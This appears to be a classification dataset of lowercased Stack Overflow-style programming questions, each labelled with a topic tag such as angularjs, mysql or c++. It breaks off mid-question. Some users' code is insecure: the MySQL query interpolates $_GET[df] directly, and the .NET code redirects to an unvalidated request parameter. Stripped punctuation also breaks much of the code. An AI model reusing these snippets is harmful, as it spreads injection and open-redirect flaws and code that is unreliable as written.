navigateurl using xslt  i ve build a menu using xslt. this is what i did   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;xsl:stylesheet version= 1.0  xmlns:xsl= http://www.w3.org/1999/xsl/transform  xmlns:msxsl= urn:schemas-microsoft-com:xslt  exclude-result-prefixes= msxsl   &gt; &lt;xsl:output method= xml  indent= yes /&gt;  &lt;xsl:template match= /menus &gt;     &lt;menuitems&gt;         &lt;xsl:call-template name= menulisting  /&gt;     &lt;/menuitems&gt; &lt;/xsl:template&gt; &lt;xsl:template name= menulisting &gt;     &lt;xsl:apply-templates select= menu  /&gt; &lt;/xsl:template&gt; &lt;xsl:template match= menu &gt;     &lt;menuitem&gt;         &lt;!-- convert menu child elements to menuitem attributes --&gt;         &lt;xsl:attribute name= text &gt;             &lt;xsl:value-of select= text /&gt;         &lt;/xsl:attribute&gt;          &lt;xsl:attribute name= navigateurl &gt;             &lt;xsl:text&gt; sel=&lt;/xsl:text&gt;             &lt;xsl:value-of select= url /&gt;         &lt;/xsl:attribute&gt;          &lt;!-- call menulisting if there are child menu nodes --&gt;         &lt;xsl:if test= count(menu) &gt; 0 &gt;             &lt;xsl:call-template name= menulisting  /&gt;         &lt;/xsl:if&gt;     &lt;/menuitem&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre>   and then in code behind i would cal it:   <pre><code> if (request.params[ sel ] != null)     response.redirect(request.params[ sel ]  false); </code></pre>   the problem is that my url is ~/default.aspx. so what navigateurl does is it appends  sel= to end of default.aspx.  but i need to be forwarded to ~/folder1.aspx(something of this sort) .can u help in forwarding url to ~/folder1.aspx    i have a field in databse like url which has the folder1.aspx.. can u let me know if i can use that..,.net
angularjs directive not loading popover content  i am trying to develop a facebook like notification (like when friend requests are received there is an icon that glows with number of notifications on the top right corner).    for this i wrote a popover directive.   <pre><code>app.directive( popover   function ($compile) {   var itemstemplate =  &lt;div ng-repeat= item in items &gt;{{item}} &lt;br/&gt;&lt;hr/&gt;&lt;/div&gt;  ; var gettemplate = function (contenttype) {     var template =   ;     switch (contenttype) {         case  items :             template = itemstemplate;             break;     }     return template; } return {     restrict:  a       transclude: true      template:  &lt;span ng-transclude&gt;&lt;/span&gt;       link: function (scope  element  attrs) {         var popovercontent =  &lt;div&gt;&lt;/div&gt; ;          if (scope.items) {             var html = gettemplate( items );             popovercontent = $compile(html)(scope);         }          var options = {             content: popovercontent              placement:  bottom               html: true              title: scope.title         };         $(element).popover(options);       }      scope: {         items:  =           title:  @      } }; </code></pre>   });    the items are populated in the controller  and there i am using $timeout to fetch new data from database and fill scope.items    in the ui i have a button which shows number of new notifications and on click of it i want to show  a popover with items. the problem is when is click the button i the popover is not loading the new items.   <pre><code> &lt;button pop-over items= items  class= navbar-btn btn-info round-button  title= notifications:  &gt; {{newalertcount}} &lt;/button&gt; </code></pre>,angularjs
can we import big size file into my app   suppose my app size is 5mb and i am importing files from email or itunes into my app.    is there any specific memory size after which i can t import files to my app,ios
can you have multiple http-equiv meta properties   i don t really understand what it does  but it is set in my project to:   <pre><code>&lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; </code></pre>   i want to force compatibility mode in ie8 off  cos people keep turning it on and it breaks stuff. it s software used on the intranet where everyone has ie8.    i read that i should put this in:   <pre><code>&lt;meta http-equiv= x-ua-compatible  content= ie=emulateie8  /&gt; </code></pre>   to force it off. however  should i replace the first line with this one  have both  or do something else entirely,html
how to split application server  the application is video-streaming site. its all in one server like application  uploaded videos and database. now what i need is to split into two servers from one  then application  db on one server and uploaded files on another server. is there anything i need to configure in iis or need to code in .net  how to map the application from 1st server to upload video files to another server  thanks in advance.,.net
construct a string who contain the hexvalue of a binary array  i m trying to construct a string from a byte array (libcrypto++) but i have issues with  0  in order to connect to sqs in c++    the result is almost correct except some  0  go at the end of the string.   <pre><code>std::string shadigest(const std::string &amp;key =   ) {             byte out[64] = {0};          cryptopp::sha256().calculatedigest(out  reinterpret_cast&lt;const byte*&gt;(key.c_str())  key.size());          std::stringstream ss;         std::string rep;         for (int i  = 0; i &lt; 64; i++) {             ss &lt;&lt; std::hex &lt;&lt; static_cast&lt;int&gt;(out[i]);         }         ss &gt;&gt; rep;         rep.erase(rep.begin()+64  rep.end());          return rep;     } </code></pre>   output:   <pre><code>correct : c46268185ea2227958f810a84dce4ade54abc4f42a03153ef720150a40e2e07b mine    : c46268185ea2227958f810a84dce4ade54abc4f42a3153ef72015a40e2e07b00                                                     ^          ^ </code></pre>   <em>edit:</em> i m trying to do the same that <code>hashlib.sha256(  ).hexdigest()</code> in python does.,c++
android studio build errors  i have been trying allot to fix this problem. i cant figure out what to do  i get stuck on the following output error when i want to debug the project.   <pre><code>execution failed for task  :inspectoratecalculator:dexdebug . &gt; com.android.ide.common.internal.loggederrorexception: failed to run command: c:\users\flikflak\appdata\local\android\android-studio\sdk\build-tools\android-4.4.2\dx.bat --dex --output  c:\users\flikflak\androidstudioprojects\inspectorate\inspectoratecalculator\build\dex\debug c:\users\flikflak\androidstudioprojects\inspectorate\inspectoratecalculator\build\classes\debug  c:\users\flikflak\androidstudioprojects\inspectorate\inspectoratecalculator\build\dependency-cache\debug  c:\users\flikflak\androidstudioprojects\inspectorate\inspectoratecalculator\build\pre-dexed\debug\android-support-v4-9fdb020c999e0f186e4aef883e8a4b8676e1e3ac.jar  c:\users\flikflak\androidstudioprojects\inspectorate\inspectoratecalculator\build\pre-dexed\debug\classes-3cbf09a1ad548c6398f541ca3aae99491954a4cd.jar  c:\users\flikflak\androidstudioprojects\inspectorate\inspectoratecalculator\build\pre-dexed\debug\support-v4-19.1.0-ce3af6ab4e02f6c952693d6706242484504a4302.jar  error code:     2 output:     unexpected top-level exception:     com.android.dex.dexexception: multiple dex files define landroid/support/v4/accessibilityservice/accessibilityserviceinfocompat$accessibilityserviceinfoversionimpl;         at com.android.dx.merge.dexmerger.readsortabletypes(dexmerger.java:594)         at com.android.dx.merge.dexmerger.getsortedtypes(dexmerger.java:552)         at com.android.dx.merge.dexmerger.mergeclassdefs(dexmerger.java:533)         at com.android.dx.merge.dexmerger.mergedexes(dexmerger.java:170)         at com.android.dx.merge.dexmerger.merge(dexmerger.java:188)         at com.android.dx.command.dexer.main.mergelibrarydexbuffers(main.java:439)         at com.android.dx.command.dexer.main.runmonodex(main.java:287)         at com.android.dx.command.dexer.main.run(main.java:230)         at com.android.dx.command.dexer.main.main(main.java:199)         at com.android.dx.command.main.main(main.java:103) </code></pre>   <strong>-------------------------------------build.gradle-----------------------------------</strong>   <pre><code>    apply plugin:  android   configurations {     all*.exclude group:  com.android.support   module:  support-v4   }  android {     compilesdkversion 19     buildtoolsversion  19.0.3       defaultconfig {         minsdkversion 8         targetsdkversion 19         versioncode 1         versionname  1.0      }     buildtypes {         release {             runproguard false             proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.txt          }     } }  dependencies {     compile  com.android.support:appcompat-v7:+   compile filetree(dir:  libs   include: [ *.jar ]) </code></pre>,android
how to store values from controller into service   i have a ng-repeat list in a partial. from this list(messages)  i want to store the clicked item into a service  i dont just want to store one  i want to store as many as was clicked.     on the otherhand i want to be able to pull that data and place it into the controller i have the service on.     if you see a way to improve my existing code please let me know. i am still learning angularjs its fun!    the feature is as similar to: <a href= http://qnimate.com/facebook-style-chat-box-popup-using-javascript-and-css/  rel= nofollow >http://qnimate.com/facebook-style-chat-box-popup-using-javascript-and-css/</a>      except i do not know how to convert that method into angularjs.   <ol> <li>user clicks on message</li> <li>message appears on taskbar</li> <li>user can add multiple messages into the taskbar</li> </ol>   i have kind of started the service:   <pre><code>app.factory( chatbox  [ $http  function($http){    var chats; &lt;&lt; variable to hold chats array     return {       killchat:  function (userid) {        }        registerchat: function (userid) {        }   };  }]); </code></pre>   and the controller:   <pre><code>app.controller( taskbarcontroller   [ $scope    authdata    $location    $aside    poller     function ($scope  authdata  $location  $aside  poller) {      $scope.openchat = function() {         // function to add message to service array     }      $scope.getchat = function() {         // retrieve open chats from array and display on taskbar          // possible to template the return data into html and then inject where needed      }      $scope.openaside = function(position) {       $aside.open({         placement: position          templateurl:  partials/sidemenu.html           size:  sm          });     };      $scope.logout = function () {         authdata.get( logout ).then(function (results) {             authdata.toast(results);             $location.path( login );         });     }      authdata.get( session );  }]); </code></pre>,angularjs
maximum runtime memory available in iphone and ipod   i am developing an applciation whose run time memory goes upto 6-7mb. when i run the application it works fine but sometimes it breaks on device or shows white screen instead of actual views. when i did some testing i came to know that it was triggering the didrecievememorywarning event.     is it becoz of images  like i am using a lot of animation for which everytime i call the image animation function to get the array of the images. since i am using imagewithname  i need to call everytime. also i am not supposed to release the memory used for the images as i dont own it. i think that this is not the right way to deal with it. is there any good way to deal with this. do anyone have better idea or this is not the problem.     please note that the code dont break on simulator wheras there is no breaking inbetween the code.,iphone
ld: symbol(s) not found for architecture x86_64 collect2: error: ld returned 1 exit status  i am running one very easy code to solve <a href= https://leetcode.com/problems/3sum-closest/  rel= nofollow >https://leetcode.com/problems/3sum-closest/</a>    however  one problem encountered me for a long time. i searched google but i think i didn t find the answer. i even tried to run it in some online simulator  same problem. i d appreciate if you can help me.    this code is not correct  i just want to make it run first. the name is try.cpp now    my source code:   <pre><code>#include&lt;algorithm&gt; #include&lt;limits.h&gt; #include&lt;iostream&gt; #include&lt;vector&gt; using namespace std;  class solution { public:     int threesumclosest(vector&lt;int&gt;&amp; nums  int target) {         sort(nums.begin() nums.end());         int ll=nums.size();         int dif=int_max;         int res=int_max;         for(int i = 0;i&lt;ll-2;i++){              int l=i+1 r=ll-1;             while(l&lt;r){                 int newdif=nums[l]+nums[r]+nums[i]-target;                 if(abs(newdif)&lt;dif){                     dif=abs(newdif);                     res=nums[l]+nums[r]+nums[i];                  }                 if(newdif&lt;0){                     l+=1;                 }else if(newdif&gt;0){                     r-=1;                 }else{                     break;                 }             }         }         return res;     } public:     int main(int argc  char* argv[])     {         int a[3]={0 1 2};         vector&lt;int&gt; v(&amp;a[0] &amp;a[2]);         int b=threesumclosest(v 3);         cout&lt;&lt;b&lt;&lt;endl;     } }; </code></pre>   my error:   <pre><code>undefined symbols for architecture x86_64:    std::ios_base::init::init()   referenced from:       __static_initialization_and_destruction_0(int  int) in ccxxgrsg.o    std::ios_base::init::~init()   referenced from:       __static_initialization_and_destruction_0(int  int) in ccxxgrsg.o    _main   referenced from:      implicit entry/start for main executable ld: symbol(s) not found for architecture x86_64 collect2: error: ld returned 1 exit status </code></pre>,c++
accessing a method in the same factory  i have a factory defined like this:   <pre><code>mob.factory( orderhelper   function() {     return {       lineitemprice: function(lineitem) {         return lineitem.price * lineitem.quantity;       }        ordertotal: function(order) {         order.items.foreach(function (item)) {           total += lineitemprice(item);         }       }     } }); </code></pre>   that problem is that i can t use the method  lineitemprice  in  ordertotal  method. it throws this error: error: [$interpolate:interr] can t interpolate: £{{ordertotal(order)}} can somebody please tell how can i call a method from a function in the same factory.    thanks.,angularjs
iphone: how to higthlight word of uilabel  i would like to highlight a word which in an <code>uilabel</code> which is placed on an <code>uitabelviewcell</code>.    what i would like to do is set a background color for just that word.,iphone
rails  production-env   object is not missing constant   so i seems i was stupid and haven t checked running in production-env for a long time  and now that i m trying to deploy  i m getting this annoying error. any ideas     lib/history_tools.rb   <pre><code>module historytools   def self.included(base)     base.has_many :history  :dependent =&gt; :destroy     history::types.each do |htype|       base.has_many  history_#{htype}   :class_name =&gt;  history::#{htype.capitalize}      end   end   # ... other minor things removed ... end </code></pre>   app/models/user.rb   <pre><code>class user &lt; inheritedresources::base   include historytools end </code></pre>   config/environment.rb   <pre><code># ... the usual stuff  then  at the very bottom: require  history_tools  </code></pre>   this gives the error:   <pre><code>activesupport-2.3.8/lib/active_support/dependencies.rb:417:in `load_missing_constant :argumenterror: object is not missing  constant historytools! </code></pre>   if i add an additional <code>require  history_tools </code> at the top of user.rb  it fixes <em>that</em> error  i believe  but then it fails at finding other things in <code>#{rails_root}/lib</code>  that were required in the environment.rb in the same manner.    the kicker: this works perfectly in development mode. it only gives this error in production. most of my googling seems to suggest that  not missing constant  errors relates to how rails autoloads files  which should go away in production when nothing is unloaded. this seems to be the opposite of that behavior,ruby-on-rails
sql query with 2 foreign keys from one table  i have a table with two foreign keys in one table.   <pre> table projects         - id         - owner - fk         - client - fk  </pre>   and   <pre> table users         - id         - name </pre>   i d like to select all projects with appropriate names of the owner and client    the result should look like:    <code>id | ownername | clientname</code>,sql
i can t see my component under ios 4.3  my apps works well in ios versions after 4.3  but i can t see my components in ios 4.3. here is my code. there are two imageview in my xib and a label on them. when i try on the ios 5 simulator i can see my labels. when i try it on ios 4.2 i can t see my label.    <pre><code> [imglabelstatus setimage:lblsmallimg];  [imglabelcity   setimage:lblsmallimg]; </code></pre>,ios
prevent page refresh in asp.net  i have the following code in my aspx file:   <pre><code>&lt;button type= button  id= btnaskquestion  runat= server  onserverclick= btnaskquestion_click &gt;ask question&lt;/button&gt; </code></pre>   i ve tried every combination of <code>onclick= return false; </code> and <code>onclick= preventdefault() </code> i can think of  including putting them in the javascript function that gets called. everything i try has one of two results: either i get a postback  or the server side code (btnaskquestion_click) never executes.    any idea what i might be doing wrong,asp.net
how to combine elements from multiple arrays   i m not sure how this operation is called so i failed to google it.    i have a multiple 1-dimensional arrays and want to construct and array that contains all possible combinations of values from each array. so for example if i have 3 arrays:   <pre><code>[ a    b ]  [ z    x ]  [ 1    2 ] </code></pre>   i want to get a result:   <pre><code>[[ a    z    1 ]    [ a    z    2 ]   [ a    x    1 ]   [ a    x    2 ]   [ b    z    1 ]    [ b    z    2 ]   [ b    x    1 ]   [ b    x    2 ]] </code></pre>   the only way i can think of is making a recursive function that will pick an element from 1 array for each call. but that seems unnecessarily complex to me. maybe there is much simpler solution or built in function for that,c#
mysql multiple column sum  i have this query below:   <pre><code>select a.`reg_no`  b.`personnel_name`     sum(if(month(a.`start_time`) = 1  round(a.`act_hours`) 0)) as  jan     sum(if(month(a.`start_time`) = 2  round(a.`act_hours`) 0)) as  feb     sum(if(month(a.`start_time`) = 3  round(a.`act_hours`) 0)) as  mar     sum(if(month(a.`start_time`) = 4  round(a.`act_hours`) 0)) as  apr     sum(if(month(a.`start_time`) = 5  round(a.`act_hours`) 0)) as  may     sum(if(month(a.`start_time`) = 6  round(a.`act_hours`) 0)) as  jun     sum(if(month(a.`start_time`) = 7  round(a.`act_hours`) 0)) as  jul     sum(if(month(a.`start_time`) = 8  round(a.`act_hours`) 0)) as  aug     sum(if(month(a.`start_time`) = 9  round(a.`act_hours`) 0)) as  sept     sum(if(month(a.`start_time`) = 10  round(a.`act_hours`) 0)) as  oct     sum(if(month(a.`start_time`) = 11  round(a.`act_hours`) 0)) as  nov     sum(if(month(a.`start_time`) = 12  round(a.`act_hours`) 0)) as  dec      sum( jan  +  feb  +  mar  +  apr  +  may  +  jun  +  jul  +  aug  +  sept  +  oct  +  nov  +  dec ) / 12 as  avg     a.`status_working`   from `daily_activity_control_card-man` as a left join `personnel_master_data` as b on a.`reg_no` = b.`reg_no` where a.`status_working` =  normal  and year(a.`start_time`) =  $_get[df]  group by `reg_no` </code></pre>   i need to get avg result at the end of the column  from the query above  what i get is 0. all rows has 0 values on avg column. can anybody help me with this     i ve done some searching on google but get no luck.    thanks.,mysql
css ::after background not displaying  i m trying to make a tick image display after div element. i tried several combinations of css properties  but i just can t seem to figure out how to do it properly.    answers to similar questions didn t help me.    <em>html</em>:   <pre><code>&lt;div class= link-input-container &gt;   &lt;input class= link-input  placeholder= zalijepi link ovdje...  type= text  class= url_input  name= url_input &gt; &lt;/div&gt; </code></pre>   <em>css</em>:   <pre><code>.link-input {   font-family: courier new;   font-size: 12px; }  .link-input-container::after {   display: block;   content:   ;   width: 12px;   height: 12px;   background: transparent url( https://cdn0.iconfinder.com/data/icons/weboo-2/512/tick.png ) no-repeat; } </code></pre>   <em>fiddle</em>: <a href= http://jsfiddle.net/mk3fauk5/  rel= nofollow >http://jsfiddle.net/mk3fauk5/</a>,css
shortest way of creating an object in c#  for some reason  i don t like initializing an object and then assign values to it in two lines  i want it to be done in just 1 line  this is what i am doing now    <pre><code>objecta oa = new objecta();             oa = mapper.map&lt;objecta&gt;(somedbrow); </code></pre>   can i make it short to something like    <pre><code>new objecta() oa = mapper.map&lt;objecta&gt;(somedbrow); </code></pre>,c#
mysql- help making a query  solved! thanks for all the help!    how do i fix this query     so the pet s table s fields are   <blockquote>    pet_code name employee_code type sex  </blockquote>   and the employees table s fields are    <blockquote>    employee_code last_name first_name department  </blockquote>   this is what i tried but didn t work:   <pre><code>select first_name last_name  from employees e pets p  where p.employee_code=e.employee_code and count(type= c ) &gt; count(type= d );  </code></pre>,mysql
javascript table select  i am trying to select a table row  and highlight it with javascript. however  nothing seems to work. when i comment out the first two lines of the following code  i can highlight  but when i click another row  the previously selected rows stay highlighted instead of going back to white.   <pre><code>    var selectedeventid = 0;      function selectrow(tablerow){        var selectedrow = document.getelementbyid( selectedeventid );        selectedrow.style.backgroundcolor =  white ;         var frame = document.getelementbyid( additionaltext );        frame.src= iframecontents.php id= +tablerow.id;        selectedeventid = tablerow.id;        tablerow.style.backgroundcolor =  3366ff ;        var prevrow = document.getelementbyid( selectedeventid );        return;      }//end selectrow </code></pre>   any help would be appreciated.,javascript
how to keep included footer at bottom of short page without min-height  sticky-footer or javascript  i ve got 60 pages all with the same footer  included with php. the amount of content varies from 300px in height to 2000+. i don t think this is possible  but it would be great if i could get the footer to sit at the bottom of the browser window  if the page is shorter than the window  and behave normally (pushed to the bottom) otherwise  with just css. thanks.,css
sql - change row/column structure of existing query  i m a die hard excel vba fan and having to make the transition to a very basic sql based piece of software. i have managed to adapt an existing query to my needs (still not sure how !) but i could do with some help to further tweek it :)    the query is:<br/>     <code>parameters [date from] datetime  [date to] datetime  [site group] text;<br/><br/>     select contacts.name  dataprofile.date  dataprofile.totalunits<br/><br/>     from (lookup inner join groups on lookup.lookup_id = groups.lookup_id) inner join (contacts inner join (points inner join dataprofile on points.id = dataprofile.point_id) on contacts.id = points.contacts_id) on groups.link_id = contacts.id<br/><br/>     where (((lookup.lookup_name)=[site group]) and ((dataprofile.date) between [date from] and [date to]) and ((points.type)= electricity ) and ((dataprofile.type)=0))<br/><br/>     and contacts.group_1=[client group]<br/><br/>     order by contacts.name  dataprofile.date; </code> <br/>    this produces a list of daily totals by site by day and looks like :    site.......date.........value<br/> site 1....01/01/13...444.7<br/> site 1....02/01/13...861.5<br/> site 1....03/01/13...850.0<br/> etc...<br/>    is it possible to write the query to output as :    site.....01/01/13....02/01/13....03/01/13<br/> site1....444.7.......861.5.........850.0<br/> site2....111.1.......222.2.........333.3<br/> etc...    it would make my life so much easier to have one row per site rather than so many. at the moment i am coding excel to adapt the data - but it s long and not efficient. if i could get sql to output in this format i would be like some kind of office god !!!    any help/advise/guidence is welcome :),sql
difference between $bundle install and $bundle update  could you tell me  whats the difference between:    <pre><code>$bundle update </code></pre>   and   <pre><code>$bundle install </code></pre>,ruby-on-rails
error when firing post request  when i submit signup form using postman it works fine  but when i try to submit using the below code it shows some error  im unable to figure it out  anyone please help me    <pre><code>.controller( registerctrl   function($scope  authservice  $state  $http) {   $scope.user = {     name:          mobile:        email:        password:     };    $scope.signup = function() {     $http.post( http://localhost:8080/api/signup   $scope.user  {headers: { content-type :  application/json } })         .then(function (response) {             return response;         });   }; }) </code></pre>   when i inspect chrome browser it logs the below error:   <pre><code>angular.js:14362 error: unexpected request: post http://localhost:8080/api/signup no more request expected     at $httpbackend (https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular-mocks.js:1402:9)     at sendreq (http://localhost:3000/bower_components/angular/angular.js:12178:9)     at serverrequest (http://localhost:3000/bower_components/angular/angular.js:11930:16)     at processqueue (http://localhost:3000/bower_components/angular/angular.js:16689:37)     at http://localhost:3000/bower_components/angular/angular.js:16733:27     at scope.$eval (http://localhost:3000/bower_components/angular/angular.js:18017:28)     at scope.$digest (http://localhost:3000/bower_components/angular/angular.js:17827:31)     at childscope.$apply (http://localhost:3000/bower_components/angular/angular.js:18125:24)     at htmlinputelement.&lt;anonymous&gt; (http://localhost:3000/bower_components/angular/angular.js:26813:23)     at htmlinputelement.dispatch (http://localhost:3000/bower_components/jquery/dist/jquery.js:4435:9) possibly unhandled rejection: {}(anonymous function) @ angular.js:14362(anonymous function) @ angular.js:10859processchecks @ angular.js:16715$eval @ angular.js:18017$digest @ angular.js:17827$apply @ angular.js:18125(anonymous function) @ angular.js:26813dispatch @ jquery.js:4435elemdata.handle @ jquery.js:4121   </code></pre>,angularjs
angularjs - can not find the controller  i have 2 js files in different directories for each module. if i start my app  i get the error  that the controller <code>subappctrl</code> cannot be found ... can anyone tell me  why do i get this error message     code in mainapp:    <pre><code>var mymodule = angular.module( mainapp   [ subapp ]);   mymodule.config([ $routeprovider   function ($routeprovider) { $routeprovider.when( /test   {templateurl:  components/test/test-list.html   controller: subappctrl});}]); </code></pre>   code in subapp:   <pre><code>var myapp = angular.module( subapp   []);   myapp.controller( subappctrl   [ $scope    $rootscope    $translate   function ($scope  $rootscope  $translate){ .... ]); </code></pre>   <strong>html</strong>   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= mainapp  lang= en &gt; &lt;head&gt; ...   &lt;script src= lib/angular/angular.js &gt;&lt;/script&gt;   &lt;script src= components/test/subapp.js &gt;&lt;/script&gt;   &lt;script src= js/mainapp.js &gt;&lt;/script&gt; ... &lt;/head&gt; &lt;body&gt;  &lt;div ng-view&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,angularjs
char to ascii - objective-c  i want to convert char array to ascii     i started trying with nsstring  characteratindex ( failed due to lack of knowledge about manipulating unichar )    creating a char array and passing it to a nsstring using stringwithcstring ( failed due to lack of knowledge about encoding )    now at the end i am convincing myself using normal char array and type casting it into int.    but my mind says this is not a good practice.    please tell me is there another objective-c type solution  or is this the only solution.    i m a beginner and am working on gnustep.,objective-c
select each select element and replace with div that includes the select:option  i m trying to take all the  elements within a particular  and capture the option selected  then replace the select box with a  containing the selected option. here is the code i have so far  but it isn t working. it copies all the selected options from all the select boxes on the page into each div instead of just the one selected in the select tag it s replacing.   <pre><code>$( #receivecontainer select ).each(function() {    $( #receivecontainer select option:selected ).each(function() {              var optionselected = $(this).text();     $( select ).replacewith(function() {        return $( &lt;div&gt;  + $(optionselected).text() +  &lt;/div&gt; );       });     });  }); </code></pre>,jquery
what does  parse error: syntax error  unexpected  )   mean   why am i getting the following error in php    <pre><code>&lt; php      require_once( validation_functions.php );     $errors = array();      //$username = trim($_post[ username ]);     $username = trim(  );      if(!has_presence($username))     {         $errors[ username ] =  username can t be left blank ;     }  &gt;  &lt; php echo form_errors($errors);  &gt; </code></pre>   this is the following problem:    <blockquote>    parse error: syntax error  unexpected  )  in c:\wamp\www\sandbox\validation_functions.php on line 20  </blockquote>   this is the file validation_functions.php detailed above   <pre><code> &lt; php  function has_presence($value) {     //if $value is set and value is not exactly equal to    return true      return (isset($value) &amp;&amp; $value !==   ); //returns boolean }  function has_max_length($value  $max) {     //if $value is less than or equal to $max return true     return (strlen($value) &lt;= $max)); //returns boolean  }  function has_inclusion_in($value  $set) {     //if $value is included in $set return true      return in_array($value  $set); //returns boolean }  function form_errors($errors = array()) {     $output =   ;      if(!empty($errors))     {         $output =  &lt;div class= \ error\ &gt; ;         $output .=  please fix the following errors: ;         $output .=  &lt;ul&gt; ;          foreach($errors as $key =&gt; $error)         {             $output .=  &lt;li&gt; {$error} &lt;/li&gt; ;         }          $output .=  &lt;/ul&gt; ;         $output .=  &lt;/div&gt; ;     }      return $output;   }    &gt; </code></pre>   this is included in the code referenced above. it s a simple error but i can t seem to understand what s causing it.,php
how may my app determine at run-time the version of the .net framework it is running under   note that this question refers to the version running the app  not all versions installed  and to the framework (as shown in vs as  target framework ) not the run-time.    thanks.,.net
dom0/dom1 javascript: if element has border remove it  if not add it  i have a page with two images on it.  one has a border  one does not.    need to create functionality so if a border is present  it is removed.  if it is not present  it is added.    using dom0/1 javascript only  no jquery .toggleclass or what have you.  at a loss where to start...,javascript
how to input value data export display to code preview & file   i want to use <code>.js</code> to make input form export to <code>.html</code> code preview &amp; file  but input value cant display to  id  elememt. please help me what can edit this code problems     html code:   <pre><code>&lt;div&gt; &lt;input type= text  id= btn  disable= disable  value= content &gt; &lt;/div&gt; &lt;div id= content &gt;&lt;/div&gt; &lt;div id= main &gt; &lt;textarea id= code &gt;&lt;/textare&gt; &lt;/div&gt; &lt;a href= #  id= downloadlink &gt;download&lt;/a&gt; </code></pre>   js code:( input value)   <pre><code>var obtn = document.getelementbyid( btn ); var oti = document.getelementbyid( content ); var ocode = document.getelementbyid( code )      if ( oninput  in obtn) {       obtn.addeventlistener( input   getword  false);     } else {       obtn.onpropertychange = getword;     }  function getword() {    oti.innerhtml = obtn.value;    ocode.innerhtml = oti.value;     } </code></pre>   js code: (export .html)   <pre><code>function downloadinnerhtml(filename  elid  mimetype) {     var elhtml = document.getelementbyid(elid).innerhtml;     var link = document.createelement( a );     mimetype = mimetype ||  text/plain ;      link.setattribute( download   filename);     link.setattribute( href    data:  + mimetype  +   ;charset=utf-8   + encodeuricomponent(elhtml));     link.click(); }  var filename =   tags.html ;  </code></pre>,javascript
error in evaluating root project in android studio  error:(19) a problem occurred evaluating root project  speech-android-sdk-master .   <blockquote>    could not find method android() for arguments [build_aqyn7a203grykxpxh7k62duaz$_run_closure2@48b6a286] on root project  speech-android-sdk-master .  </blockquote>,android
sql grouping of get not associated to any post  i have a table like this:   <pre><code>hour    operation   ip 10  get     192.168.1.3 10  post    192.168.1.3 10  get     192.168.1.4 10  get     192.168.1.8 12  post    192.168.1.7 12  get     192.168.1.7 12  get     192.168.1.9 </code></pre>   and i need to know for each hour how many different get operations without a post operation associated (visits with no purchases)    the answer would be:   <pre><code>hour gets 10 2 12 1 </code></pre>   but i have no clue about how to do this.,sql
stuck with mysql in operator  i have following table given below:     <pre><code>id_attribute  id_product_attribute 1             1 13            1 4             2 13            2 </code></pre>   i want to fetch <code>id_product_attribute</code> which have <code>id_attribute</code> <code>1</code> and <code>13</code>.<br> my query is given below:     <pre><code>select id_product_attribute    from ps_product_attribute_combination   where id_product_attribute = 1     and id_attribute in (1 13)   group      by id_product_attribute   </code></pre>   the above query is also returning the <code>id_product_attribute</code> <code>2</code> as well instead of only <code>1</code>. how can i achieve this       can anyone please help to resolve this problem <br> thanks in advance!,mysql
how to manage two list object reference that are pointing to same collection   at run time my program assign 2 properties with same collection. i took two properties so that if changing to collection will be done by one property and second will hold the same collection as it is. but behind the scene both are pointing to same  i can not hold the collection with no changes to one property. i require this to wok this ok and cancel button so that if no changes one prperty will take care or this  and if changes done the other property wil take care of this.    how can i manage this     like this   <pre><code>private void btnok_click(object sender  eventargs e)         {             program.currorder.orderitems[program.editindex].appliedcustomization = lstbtn;//objfreecusatomization.allapplieditems;             this.dialogresult = system.windows.forms.dialogresult.ok;         }          private void btncancel_click(object sender  eventargs e)         {             program.currorder.orderitems[program.editindex].appliedcustomization = actualbtnlist;             this.dialogresult = dialogresult.cancel;         } </code></pre>   these are the 2 properties which are being assined from some other program   <pre><code>public list&lt;btnobject&gt; lstbtn;         public list&lt;btnobject&gt; actualbtnlist { get; set; } </code></pre>   from other program this is how it is set   <pre><code>  frmprepare.actualbtnlist = frmprepare.lstbtn = program.currorder.orderitems[curridx].appliedcustomization; </code></pre>,c#
reading in data from a text file using while loop  so i am reading in data from a text file in to a vector using a while loop.    originally i had the code set up this way :   <pre><code>iftream infile; while(infile)  // or even if i do while(!infile.eof())     {         infile&gt;&gt;data;         vector1.push_back(data); //adding data in to the vector     } </code></pre>   - but this caused one small problem that it read in the last item in the text file twice for some reason.    but if i have the code set up this way everything works fine :   <pre><code>iftream infile; while(infile&gt;&gt;data) {     vector1.push_back(data); //adding data in to the vector } </code></pre>   why does the first code reads in the last item twice,c++
$scope variable not rendering in view  i am getting started with angularjs and started working on a simple example. overall i didn t ran into big challenges so far but this one i couldn t figure out... i have some $scope variables defined like this:   <pre><code>     use strict ; angular.module( portalapp )     .controller( summarycontroller   [ $scope   function ($scope) {         $scope.todayproduction =  8 ;         $scope.yesterdayproduction =  20 ;         $scope.monthlyproduction =  500 ;         $scope.dockedvessels =  16 ;     }]); </code></pre>   and this is my view html   <pre><code>&lt;div class= row &gt;     &lt;div class= col-md-3 col-sm-6 &gt;         &lt;div class= panel panel-default &gt;             &lt;div class= panel-body &gt;                 &lt;div&gt;                     &lt;span class= glyphicon glyphicon-stats  style= font-size: 50px;float: right; &gt;&lt;/span&gt;                     &lt;div&gt;today s production&lt;/div&gt;                     &lt;div style= font-size: 24px; &gt;{{todayproduction}}&lt;span style= font-size: 12px; &gt; tons&lt;/span&gt;&lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= col-md-3 col-sm-6 &gt;         &lt;div class= panel panel-default &gt;             &lt;div class= panel-body &gt;                 &lt;div&gt;                     &lt;span class= glyphicon glyphicon-stats  style= font-size: 50px;float: right; &gt;&lt;/span&gt;                     &lt;div&gt;yesterdays s production&lt;/div&gt;                     &lt;div style= font-size: 24px; &gt;{{yesterdayproduction}}&lt;span style= font-size: 12px; &gt; tons&lt;/span&gt;&lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= col-md-3 col-sm-6 &gt;         &lt;div class= panel panel-default &gt;             &lt;div class= panel-body &gt;                 &lt;div&gt;                     &lt;span class= glyphicon glyphicon-stats  style= font-size: 50px;float: right; &gt;&lt;/span&gt;                     &lt;div&gt;monthly production&lt;/div&gt;                     &lt;div style= font-size: 